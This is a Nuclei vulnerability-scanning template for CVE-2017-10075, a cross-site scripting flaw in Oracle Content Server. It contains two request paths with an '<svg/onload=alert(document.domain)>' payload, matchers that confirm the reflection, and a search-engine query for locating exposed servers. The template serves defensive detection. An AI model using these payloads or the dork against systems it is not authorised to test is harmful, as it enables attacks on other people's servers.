nuclei-templates/http/cves/2017/CVE-2017-10075.yaml

58 lines
2.5 KiB
YAML

id: CVE-2017-10075
info:
name: Oracle Content Server - Cross-Site Scripting
author: madrobot
severity: high
description: |
Oracle Content Server version 11.1.1.9.0, 12.2.1.1.0 and 12.2.1.2.0 are susceptible to cross-site scripting. The vulnerability can be used to include HTML or JavaScript code in the affected web page. The code is executed in the browser of users if they visit the manipulated site.
remediation: |
Apply the latest security patches provided by Oracle to fix this vulnerability.
reference:
- http://www.oracle.com/technetwork/security-advisory/cpujul2017-3236622.html
- http://web.archive.org/web/20211206074610/https://securitytracker.com/id/1038940
- https://nvd.nist.gov/vuln/detail/CVE-2017-10075
- http://www.securitytracker.com/id/1038940
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
cvss-score: 8.2
cve-id: CVE-2017-10075
epss-score: 0.00409
epss-percentile: 0.70908
cpe: cpe:2.3:a:oracle:webcenter_content:11.1.1.9.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: oracle
product: webcenter_content
google-query: inurl:"/cs/idcplg"
tags: cve,cve2017,xss,oracle
http:
- method: GET
path:
- "{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=XXXXXXXXXXXX<svg/onload=alert(document.domain)>&dSecurityGroup=&QueryText=(dInDate+>=+%60<$dateCurrent(-7)$>%60)&PageTitle=OO"
- "{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=AAA&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=XXXXXXXXXXXX<svg/onload=alert(document.domain)>"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<svg/onload=alert(document.domain)>"
- "ORACLE_QUERY"
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a0047304502205fc6fc1d365b46281d80d54873d47e8794c66f2b3649833fb6a7cfe7e43cc659022100ca964ea2519017c878d77d9c5101e45a525ddeba0c63211d2fde23a85304bb3f:922c64590222798bb761d5b6d8e72950